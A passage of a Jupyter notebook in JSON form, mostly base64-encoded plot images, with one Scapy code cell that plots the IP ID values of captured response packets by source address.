LgK53PPY0u0ce8d9zq6KSKXsNmsnoygIGt5\n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\nfAF06XGfj0wwrAAAAABJRU5ErkJggg==\n", "text": [ "" ] }, { "metadata": {}, "output_type": "pyout", "prompt_number": 6, "text": [ "[[],\n", " []]" ] } ], "prompt_number": 6 }, { "cell_type": "code", "collapsed": false, "input": [ "ans.multiplot(lambda (p, q): (q[IP].src, q[IP].id))" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "display_data", "png": "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\n4ebBpKhJ2BPttPBtwfFzx/ln0D+pYatB8vlk7